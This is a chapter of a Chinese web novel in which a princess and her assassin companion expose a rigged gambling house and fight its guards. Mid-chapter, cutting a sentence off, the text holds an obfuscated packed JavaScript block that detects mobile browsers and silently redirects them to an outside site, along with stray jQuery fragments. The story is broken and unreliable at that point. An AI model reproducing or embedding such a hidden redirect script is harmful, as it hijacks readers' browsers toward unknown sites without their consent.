7. 第 7 章

作品:《公主与杀手

    薛令瑜是猜的。


    她并不知道萧策一直跟着她,但她在牢里的时候想该如何把这事儿递出去,好让皇兄知晓这些事。


    她想过让青萝闯出去递消息,也想过用金叶子贿赂衙差。


    可想来想去,竟是想到她皇兄对她这次出门的态度。


    松口太快了。


    哪怕她跑去皇兄侧殿里哭得真情实感,还有点丢人,可皇兄也不会如此简单就松口让她出宫去关山。


    还答应了她不带护卫,只给她派了一个青萝。


    青萝武功再厉害,也不可能在京城到关山这上千里路的途中将她护得严严实实。


    而她平日里伤到手,皇兄都会阴沉着脸一整天。


    薛令瑜对母妃的记忆很模糊,只记得那是个很温柔的女人,一双剪水瞳我见犹怜。


    她大部分的记忆都是与皇兄一起的。


    是皇兄护着她长大,夺嫡之争最惨烈的那几年,不知道有多少人想抓了她威胁皇兄,可没有一个人得逞。


    薛令瑜知道,如果这世上他们兄妹只能活一个的话,皇兄一定会让她活。


    这与他是不是帝王无关。


    而这一趟,皇兄放心让她提前这么久出门,肯定给她配了暗卫。


    她的武功感知不到暗卫的存在,所以在牢里她悄悄问了青萝,有没有人从京城出来的时候就暗中跟着她们。


    然后得到了肯定的答案。


    再往下想,一般的人不会被他皇兄派出来,而且在她遇到危险后还能沉得住气。


    以及,在宫中很久没见过的萧策,据说被她皇兄派出去体察民情了。


    而她这一趟,也很适合体察民情。


    这一猜便猜中了。


    不过她觉得当时即便不是萧策,她喊了名字以后那些人也知道她需要帮助,会自报姓名。


    那位柳家公子,怎么着都得死。


    薛令瑜不会为他的死而悲伤,毕竟按照他的行事作风,死在他手底下的无辜女子不知有多少。


    薛令瑜没跟青萝解释,带着她大摇大摆便离开了府衙。


    青萝以为发生那些事后,薛令瑜会无心逛街,却没想到她还是小瞧了这位千金小姐。


    萧策那个名字也让青萝有过片刻思考,毕竟“萧”是国姓。


    可当今君王继位以后,给不少有从龙之功的将士赐了国姓。


    再者,她本就觉得薛令瑜是王公贵族之女。


    不然,也不可能让柳灼派她来。


    青萝一直在做杀手,对于情报方面的工作并不了解,基本都是柳灼给她画像,告诉她是什么身份,之后一切都由她安排。


    她只负责杀人。


    所以对朝堂上的事儿了解不多。


    ……


    薛令瑜晚上在东街的坊市买了两个面具,一个是白色狐狸,还有一个是青面獠牙的恶鬼,反差极大。


    青萝以为她是给自己买的恶鬼面具,却不料离开面具摊,薛令瑜自己戴上了那个面具。


    即便是在这样的面具之下,那双灵动又狡黠的眼睛还是遮都遮不住的好看。


    青萝没读过多少书,想不出那些花里胡哨的形容词,只觉得看着薛令瑜的眼睛,她的心就亮堂。


    就像是被月光照着,又有几分日光的温暖。


    薛令瑜将白色狐狸的面具递给青萝:“喏,漂亮姐姐。”


    青萝顿了下才接过,“青萝。”


    她忍不住又纠正薛令瑜的称呼,听着心里怪怪的。


    薛令瑜的青面獠牙面具猝不及防靠近,“我觉着叫漂亮姐姐欢喜,就让我喊嘛~”


    青萝垂眸,戴上了狐狸面具,声音在面具里显得更闷,“很别扭。”


    一个杀手被说漂亮这件事,足以让她别扭很久。


    薛令瑜叹气妥协:“好吧,青萝姐姐。”


    青萝又补了句:“论起漂亮,你胜我许多。”


    青萝应当是漂亮的,但她不注重保养,更没时间照镜子,除却出任务的时间,大多在练功。


    柳灼也说过她很漂亮,但柳灼那人的话纵是真假参半。


    可青萝知道薛令瑜漂亮,是足以让万事万物都变得鲜活无比的漂亮。


    薛令瑜闻言歪了下脑袋,刻意压低了声线,学着恶鬼的语气道:“可我的眼里只能看见你啊,青萝姐姐。”


    青萝抿唇不语,心里觉得痒痒的,像是被羽毛轻轻挠过。


    薛令瑜总是令她出其不意。


    但薛令瑜却像是一阵风,吹拂过她之后又自由地飘远。


    白日里发生的事并未对戈奈城造成影响,照旧灯火通明,繁华喧嚣。


    薛令瑜漫不经心地带着青萝走到了清乐赌坊。


    跟白天比起来,清乐赌坊更加热闹。


    那一场打斗倒像是给它做宣传了似的,可怜红衣女子还在牢里关着。


    进门前薛令瑜问青萝:“会赌吗?”


    青萝摇头:“没赌过。”


    薛令瑜耸了耸肩:“以你的武功,应该能防住他们出老千吧?”


    青萝没有给她肯定的答复,薛令瑜也不在意,抬脚便走了进去。


    东华国对女子并没有那般苛刻,不讲究大门不出二门不迈的大家闺秀那套。


    江湖女子更是自在潇洒,只要你武功高,各门各派都会将你奉为座上宾。


    薛令瑜大摇大摆进门,在最近的赌桌前站定,四个骰子猜大小。


    她坐在那儿随手掏出一把金叶子,像风絮一样扔到“小”上。


    突然出现的“败家女”让众人惊了一下,但很快便有人跟。


    薛令瑜下的注大,光是1:1的赔率也不少。


    宝官眼底闪过一丝晦暗,心想不知是从哪儿来的冤大头,垂下眼那瞬,三指虚托盅底,骰子声顿时响起来。


    刺啦刺啦的声音落在薛令瑜耳朵里,有些吵。


    她爱玩,但没有明月夜那本事,光是凭耳朵就能听出点数。


    赌坊嘛,靠的就是一个赌字。


    而她的运气,一直都不错。


    宝官一套行云流水的动作结束,骰盅落在桌面,还有伙计的帮腔声响起:“买大买小,押定离手了啊。”


    一时间,还有不少人往桌上扔银子。


    薛令瑜从袖子里翻了翻,又拿出一把金叶子,仍旧押了小。


    扔完以后还问青萝:“你觉得是大还是小?”


    青萝看了眼宝官那势在必得的眼神,“他们会摇大。”


    薛令瑜无所谓:“哦。”


    店伙计招呼了一番后,骰盅开启。


    4456。大。


    薛令瑜扔出去的金叶子打了水漂。


    她脸上戴着面具,旁人也看不到她的表情。


    但她无所谓地道了声:“继续。”


    然后又是一把金叶子,继续押小。


    宝官开启骰盅,5556,大。


    第三局,薛令瑜淡定地掏出一把金叶子,押小。


    5566,大。


    薛令瑜连着输了三把,在场的人皆倒吸一口冷气,还有人劝她:“姑娘今日运气不佳,还是早点收手吧。”


    “哦?”薛令瑜挑了下眉,轻飘飘道:“是吗?”


    两把金叶子扔下去,还是押小。


    青萝不知道薛令瑜有多少金叶子,感觉她像带了个乾坤袋一样,袋子里的金叶子取之不尽用之不竭。


    连着十把,薛令瑜都押了小,按照赌坊规矩,每五局换一个宝官来摇骰子,也是为了防止有人出千。


    可薛令瑜每把都输。


    在场的人粗略估计,她起码输了黄金千两,可她眼都不眨一下,仍旧拿出一把金叶子往赌桌上扔,还是押小。


    宝官都觉着不太合适,给掌柜递了个眼神。


    掌柜随意扒拉着算盘,示意他继续。


    怪就怪她们出的太多了。


    薛令瑜继续输。


    一直输到第十五把,薛令瑜问青萝:“你看出问题了吗?”


    她发现,只要她不问,青萝就不会主动说。


    青萝低声道:“骰子里应该有别的东西。”


    薛令瑜笑了下,“我就说嘛,我的运气不会这么差的。”


    掌柜的也准备让宝官给摇个“小”出来,免得把大鱼气跑了。


    得给点饵才能让她继续赌下去。


    但薛令瑜直接扔了四五把金叶子出来,还道:“最后的家底了,我再看看。”


    掌柜闻言,贪心又起,给宝官使眼色。


    于


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549644|186776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是这一局毫无意外地,薛令瑜又输了。


    薛令瑜轻叹了一口气,拍了拍手站起来,那边的人都在喜气洋洋地数银子了。


    得益于薛令瑜这一出,有不少人跟她押了相反的方向,都赢了。


    这一桌,只有薛令瑜死性不改一直押小,还一直输。


    尽管众人心里也有过嘀咕,可说不准就是薛令瑜点背呢?


    薛令瑜朝着宝官歪了下头,轻叹道:“我给过你们机会了。”


    宝官心里打鼓,面上却笑意吟吟:“姑娘此话怎讲?”


    “青萝。”薛令瑜严肃地喊了声:“把他那骰子拿来看看。”


    “姑娘莫不是怀疑我们赌坊出千?”宝官脸色顿时沉了下来,就连掌柜也走过来,定睛一看觉得这两人衣服眼熟。


    这才想起是白天在赌坊门口大打出手的两人,立马变了脸色,也不知道那两个衙差怎么办事的,估计是看见几个金叶子连脑袋都不想要了。


    掌柜在这戈奈城里住了几十年,对这城内盘根错节的关系如数家珍,没听过这两人的名头,更没见过。


    就算是富家千金,那也是别的城里来的。俗话说得好,强龙不压地头蛇,来了这戈奈城,就算是龙也得给他卧着!


    掌柜冷哼一声,“看来姑娘还是没长记性。”


    “你这人说话真不好听。”薛令瑜手背在身后,老神在在地道:“我来赌两把,何谈长不长记性?”


    掌柜冷声道:“白日里闹我清乐赌坊还不够,晚上还要来闹?真当我清乐赌坊是泥捏的不成?”


    “是不是泥捏的我不知道,但你们出老千是真的!”薛令瑜嘴角微勾,喊了声:“漂亮姐姐,动手。”


    青萝闻言,身形一闪便到了宝官眼前,径直打落宝官手里的骰盅。


    薛令瑜朝她伸手,青萝将骰盅递给她。


    “没猜错的话,放了水银吧?”薛令瑜看着白日里被她打得鼻青脸肿那些人,此时拎着刀棍又来了,一个个脸上煞气十足,恨不得把她生吞活剥了去。


    啧啧,真血腥。


    她这么一个如花似玉的美女子。


    薛令瑜白皙的掌心摊开,四颗骰子安静地躺在她掌心,只听她朗声道:“《东华律例》第七卷三百二十一条:


    凡赌坊作伪行骗、坑害赌客者,依赃银数额治罪:


    逾百两者,闭店歇业一月,枷示坊主于市三日;


    逾千两者,罚没十倍赃银,永封赌肆,杖责坊主一百;


    逾万两者,罚银十倍,永封赌肆,抄籍没产,坊主流三千里,遇赦不赦。”


    她早已跳起来,一跃站在刚才的赌桌上,戴着青面獠牙的面具,看起来不好惹,声音却清脆,念完法条还笑道:“刚才我在你赌坊下注超过黄金千两,可够得上流放三千里的罪名了。”


    赌坊内众人听她的话先是一怔,而后面面相觑,似是在问对方——咱们东华律例何时有这些?


    赌坊掌柜听笑了,仿若薛令瑜在说什么笑话,“无知小儿,今天就让你知道知道,在这戈奈城何为王法。”


    说罢一抬手做了个抹脖子的动作。


    这两人一而再再而三地挑衅清乐赌坊,不给点教训还真当他们清乐赌坊怕了不成?


    薛令瑜眼里还带着几分兴奋,来一个她踹一脚,骰子被她攥在掌心,那些武功低的护卫连她的衣角都碰不到。


    至于武功高的,都去跟青萝打了。


    青萝不知道薛令瑜的用意,她只能看见接踵而至朝她挥刀而来的人。


    她的耐心在告罄的边缘。


    不能打死,那就打残好了。


    省得打倒以后没一会儿又拎着刀上来,打不完一样。


    如此想着,她手下也不再留情,袖剑的匕首露出来,一道银色光刃在众人眼前晃了下。


    青萝身影快如鬼魅,一时间没人看见她是如何动的。


    似乎就是一眨眼,朝着青萝而去的人齐刷刷倒在地上,他们的刀也叮铃哐啷扔在地上。


    片刻沉寂,那些人似乎还没反应过来发生了什么。


    下一瞬,那些护卫手腕血流如注。


    青萝挑断了他们拿刀那手的手筋,而她的黑衣上未沾一滴血,平平静静地回到了薛令瑜身边,如同一道影子。